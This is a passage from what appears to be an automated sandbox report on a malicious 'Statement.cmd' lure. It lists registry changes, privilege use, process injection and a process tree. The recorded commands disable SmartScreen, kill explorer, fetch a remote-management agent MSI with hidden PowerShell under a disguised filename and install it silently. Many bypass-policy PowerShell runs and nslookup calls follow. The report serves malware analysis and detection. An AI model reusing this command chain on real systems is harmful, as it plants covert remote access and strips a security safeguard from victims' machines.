Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "%windir%\\Speech_OneCore\\Engines\\TTS\\fr-FR\\MSTTSLocfrFR.dat" SearchApp.exe Set value (str) \REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikK = "SR ja-JP Lts Lexicon" SearchApp.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\SourceList\Net msiexec.exe - Runs net.exe
- Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4652 powershell.exe 4652 powershell.exe 3916 powershell.exe 3916 powershell.exe 4284 msiexec.exe 4284 msiexec.exe 3752 powershell.exe 3752 powershell.exe 3752 powershell.exe 4192 powershell.exe 4192 powershell.exe 3168 powershell.exe 3168 powershell.exe 3168 powershell.exe 3168 powershell.exe 3168 powershell.exe 3168 powershell.exe 3924 action1_agent.exe 3924 action1_agent.exe 436 powershell.exe 436 powershell.exe 436 powershell.exe 3784 powershell.exe 3784 powershell.exe 3784 powershell.exe 3784 powershell.exe 3784 powershell.exe 3784 powershell.exe 4152 powershell.exe 4152 powershell.exe 4152 powershell.exe 4200 powershell.exe 4200 powershell.exe 4200 powershell.exe 4200 powershell.exe 4200 powershell.exe 1352 powershell.exe 1352 powershell.exe 2856 powershell.exe 2856 powershell.exe 4292 powershell.exe 4292 powershell.exe 552 powershell.exe 552 powershell.exe 3148 powershell.exe 3148 powershell.exe 3920 powershell.exe 3920 powershell.exe 4048 powershell.exe 4048 powershell.exe 1184 powershell.exe 1184 powershell.exe 1668 powershell.exe 1668 powershell.exe 1668 powershell.exe 1164 powershell.exe 1164 powershell.exe 3152 powershell.exe 3152 powershell.exe 2728 powershell.exe 2728 powershell.exe 2496 powershell.exe 2496 powershell.exe 4136 powershell.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4556 explorer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1424 taskkill.exe Token: SeShutdownPrivilege 4556 explorer.exe Token: SeCreatePagefilePrivilege 4556 explorer.exe Token: SeShutdownPrivilege 4556 explorer.exe Token: SeCreatePagefilePrivilege 4556 explorer.exe Token: SeDebugPrivilege 4652 powershell.exe Token: SeShutdownPrivilege 4556 explorer.exe Token: SeCreatePagefilePrivilege 4556 explorer.exe Token: SeShutdownPrivilege 4556 explorer.exe Token: SeCreatePagefilePrivilege 4556 explorer.exe Token: SeShutdownPrivilege 4556 explorer.exe Token: SeCreatePagefilePrivilege 4556 explorer.exe Token: SeShutdownPrivilege 4556 explorer.exe Token: SeCreatePagefilePrivilege 4556 explorer.exe Token: SeShutdownPrivilege 4556 explorer.exe Token: SeCreatePagefilePrivilege 4556 explorer.exe Token: SeShutdownPrivilege 4556 explorer.exe Token: SeCreatePagefilePrivilege 4556 explorer.exe Token: SeShutdownPrivilege 4556 explorer.exe Token: SeCreatePagefilePrivilege 4556 explorer.exe Token: SeShutdownPrivilege 4556 explorer.exe Token: SeCreatePagefilePrivilege 4556 explorer.exe Token: SeShutdownPrivilege 4556 explorer.exe Token: SeCreatePagefilePrivilege 4556 explorer.exe Token: SeShutdownPrivilege 4556 explorer.exe Token: SeCreatePagefilePrivilege 4556 explorer.exe Token: SeShutdownPrivilege 4556 explorer.exe Token: SeCreatePagefilePrivilege 4556 explorer.exe Token: SeShutdownPrivilege 4556 explorer.exe Token: SeCreatePagefilePrivilege 4556 explorer.exe Token: SeShutdownPrivilege 4556 explorer.exe Token: SeCreatePagefilePrivilege 4556 explorer.exe Token: SeShutdownPrivilege 4556 explorer.exe Token: SeCreatePagefilePrivilege 4556 explorer.exe Token: SeShutdownPrivilege 4556 explorer.exe Token: SeCreatePagefilePrivilege 4556 explorer.exe Token: SeDebugPrivilege 3916 powershell.exe Token: SeShutdownPrivilege 4512 msiexec.exe Token: SeIncreaseQuotaPrivilege 4512 msiexec.exe Token: SeSecurityPrivilege 4284 msiexec.exe Token: SeCreateTokenPrivilege 4512 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4512 msiexec.exe Token: SeLockMemoryPrivilege 4512 msiexec.exe Token: SeIncreaseQuotaPrivilege 4512 msiexec.exe Token: SeMachineAccountPrivilege 4512 msiexec.exe Token: SeTcbPrivilege 4512 msiexec.exe Token: SeSecurityPrivilege 4512 msiexec.exe Token: SeTakeOwnershipPrivilege 4512 msiexec.exe Token: SeLoadDriverPrivilege 4512 msiexec.exe Token: SeSystemProfilePrivilege 4512 msiexec.exe Token: SeSystemtimePrivilege 4512 msiexec.exe Token: SeProfSingleProcessPrivilege 4512 msiexec.exe Token: SeIncBasePriorityPrivilege 4512 msiexec.exe Token: SeCreatePagefilePrivilege 4512 msiexec.exe Token: SeCreatePermanentPrivilege 4512 msiexec.exe Token: SeBackupPrivilege 4512 msiexec.exe Token: SeRestorePrivilege 4512 msiexec.exe Token: SeShutdownPrivilege 4512 msiexec.exe Token: SeDebugPrivilege 4512 msiexec.exe Token: SeAuditPrivilege 4512 msiexec.exe Token: SeSystemEnvironmentPrivilege 4512 msiexec.exe Token: SeChangeNotifyPrivilege 4512 msiexec.exe Token: SeRemoteShutdownPrivilege 4512 msiexec.exe Token: SeUndockPrivilege 4512 msiexec.exe - Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe - Suspicious use of SendNotifyMessage 64 IoCs
pid Process 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe 4556 explorer.exe - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 2224 StartMenuExperienceHost.exe 4556 explorer.exe 1100 SearchApp.exe 4556 explorer.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 860 wrote to memory of 2096 860 cmd.exe 87 PID 2096 wrote to memory of 4956 2096 net.exe 88 PID 860 wrote to memory of 540 860 cmd.exe 89 PID 860 wrote to memory of 1424 860 cmd.exe 90 PID 860 wrote to memory of 4556 860 cmd.exe 92 PID 860 wrote to memory of 4652 860 cmd.exe 93 PID 860 wrote to memory of 3916 860 cmd.exe 102 PID 860 wrote to memory of 4512 860 cmd.exe 103 PID 4284 wrote to memory of 2628 4284 msiexec.exe 106 PID 4284 wrote to memory of 4520 4284 msiexec.exe 107 PID 3924 wrote to memory of 3752 3924 action1_agent.exe 109 PID 3924 wrote to memory of 4192 3924 action1_agent.exe 111 PID 4192 wrote to memory of 3868 4192 powershell.exe 120 PID 3924 wrote to memory of 3168 3924 action1_agent.exe 124 PID 3924 wrote to memory of 436 3924 action1_agent.exe 126 PID 436 wrote to memory of 744 436 powershell.exe 128 PID 3924 wrote to memory of 3784 3924 action1_agent.exe 129 PID 3924 wrote to memory of 4152 3924 action1_agent.exe 131 PID 4152 wrote to memory of 2612 4152 powershell.exe 133 PID 3924 wrote to memory of 4200 3924 action1_agent.exe 134 PID 3924 wrote to memory of 1352 3924 action1_agent.exe 136 PID 3924 wrote to memory of 2856 3924 action1_agent.exe 138 PID 3924 wrote to memory of 4292 3924 action1_agent.exe 140 PID 3924 wrote to memory of 552 3924 action1_agent.exe 143 PID 3924 wrote to memory of 3480 3924 action1_agent.exe 145 PID 3924 wrote to memory of 3148 3924 action1_agent.exe 147 PID 3924 wrote to memory of 3920 3924 action1_agent.exe 149 PID 3924 wrote to memory of 4048 3924 action1_agent.exe 151 PID 3924 wrote to memory of 1184 3924 action1_agent.exe 153 PID 3924 wrote to memory of 1668 3924 action1_agent.exe 155 PID 3924 wrote to memory of 1164 3924 action1_agent.exe 157 PID 3924 wrote to memory of 3152 3924 action1_agent.exe 159 PID 3924 wrote to memory of 2728 3924 action1_agent.exe 161 PID 3924 wrote to memory of 2496 3924 action1_agent.exe 163 PID 3924 wrote to memory of 4136 3924 action1_agent.exe 165 PID 4136 wrote to memory of 3336 4136 powershell.exe 167 PID 4136 wrote to memory of 4984 4136 powershell.exe 168 PID 4136 wrote to memory of 4420 4136 powershell.exe 169 PID 4136 wrote to memory of 4884 4136 powershell.exe 170 PID 4136 wrote to memory of 1420 4136 powershell.exe 171 PID 4136 wrote to memory of 4784 4136 powershell.exe 172 PID 4136 wrote to memory of 4544 4136 powershell.exe 173 PID 4136 wrote to memory of 3148 4136 powershell.exe 174 PID 4136 wrote to memory of 928 4136 powershell.exe 175 PID 4136 wrote to memory of 2300 4136 powershell.exe 176 PID 4136 wrote to memory of 4924 4136 powershell.exe 177 PID 4136 wrote to memory of 1164 4136 powershell.exe 178 PID 4136 wrote to memory of 2532 4136 powershell.exe 179 PID 4136 wrote to memory of 4140 4136 powershell.exe 180 PID 4136 wrote to memory of 2284 4136 powershell.exe 181 PID 4136 wrote to memory of 1048 4136 powershell.exe 182 PID 4136 wrote to memory of 4088 4136 powershell.exe 183 PID 4136 wrote to memory of 3972 4136 powershell.exe 184 PID 4136 wrote to memory of 2844 4136 powershell.exe 185 PID 4136 wrote to memory of 3112 4136 powershell.exe 186 PID 4136 wrote to memory of 2772 4136 powershell.exe 187 PID 4136 wrote to memory of 2868 4136 powershell.exe 188 PID 4136 wrote to memory of 2416 4136 powershell.exe 189 PID 4136 wrote to memory of 2820 4136 powershell.exe 190 PID 4136 wrote to memory of 3432 4136 powershell.exe 191 PID 4136 wrote to memory of 2728 4136 powershell.exe 192 PID 4136 wrote to memory of 1204 4136 powershell.exe 193 PID 4136 wrote to memory of 3620 4136 powershell.exe 194 PID 4136 wrote to memory of 1596 4136 powershell.exe 195 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Remittance\Statement.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:860 -
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:4956
-
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t REG_SZ /d Off /f2⤵PID:540
-
-
C:\Windows\system32\taskkill.exetaskkill /f /im explorer.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1424
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:4556
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://app.action1.com/agent/9336d974-4afe-11f1-872f-e156ea9b9f48/Windows/agent(My_Organization).msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\WindowsExplorerSupport.msi' -UseBasicParsing"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4652
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Unblock-File -Path 'C:\Users\Admin\AppData\Local\Temp\WindowsExplorerSupport.msi'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3916
-
-
C:\Windows\system32\msiexec.exemsiexec /i "C:\Users\Admin\AppData\Local\Temp\WindowsExplorerSupport.msi" /qn /norestart2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4512
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
PID:2224
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1100
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4284 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 13B46BE2A2F352789B6D98A9B59032012⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2628
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding CC2C322B44CAE0110FE62C3E3B58F7D8 E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:4520
-
-
C:\Windows\Action1\action1_agent.exeC:\Windows\Action1\action1_agent.exe service1⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3924 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3752
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4192 -
C:\Windows\Action1\action1_agent.exe"C:\Windows\Action1\action1_agent.exe" loggedonuser3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3868
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3168
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:436 -
C:\Windows\Action1\action1_agent.exe"C:\Windows\Action1\action1_agent.exe" loggedonuser3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:744
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:3784
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4152 -
C:\Windows\Action1\action1_agent.exe"C:\Windows\Action1\action1_agent.exe" loggedonuser3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2612
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4200
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1352
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2856
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:4292
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:552
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:3480
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3148
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:3920
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4048
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1184
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1668
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1164
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3152
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2728
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2496
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4136 -
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 20.165.94.543⤵PID:3336
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 128.85.113.1353⤵PID:4984
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 134.33.4.203⤵PID:4420
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 20.165.94.543⤵PID:4884
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 128.85.113.1353⤵PID:1420
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 20.165.94.543⤵PID:4784
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 134.33.185.993⤵PID:4544
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 52.111.229.483⤵PID:3148
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 20.165.94.543⤵PID:928
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 20.190.159.733⤵PID:2300
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 204.79.197.2033⤵PID:4924
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 142.251.29.943⤵PID:1164
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 199.232.210.1723⤵PID:2532
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 199.232.210.1723⤵PID:4140
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 20.72.205.2093⤵PID:2284
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 20.72.205.2093⤵PID:1048
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 20.72.205.2093⤵PID:4088
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 93.123.17.2523⤵PID:3972
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 172.184.231.713⤵PID:2844
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 74.178.240.613⤵PID:3112
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 74.178.240.613⤵PID:2772
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 74.178.240.613⤵PID:2868
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 74.178.240.613⤵PID:2416
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 199.232.214.1723⤵PID:2820
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 74.178.240.613⤵PID:3432
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 74.178.240.613⤵PID:2728
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 20.165.94.543⤵PID:1204
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 74.178.240.613⤵PID:3620
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 4.247.188.2333⤵PID:1596
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 40.126.31.03⤵PID:1052
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 3.213.90.1743⤵PID:3076
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 104.18.38.2333⤵PID:3836
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 172.64.149.233⤵PID:3976
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 199.232.210.1723⤵PID:2172
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 23.11.40.1573⤵PID:4708
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 23.11.40.1573⤵PID:2324
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 40.126.31.1283⤵PID:1912
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 199.232.210.1723⤵PID:1528
-
-
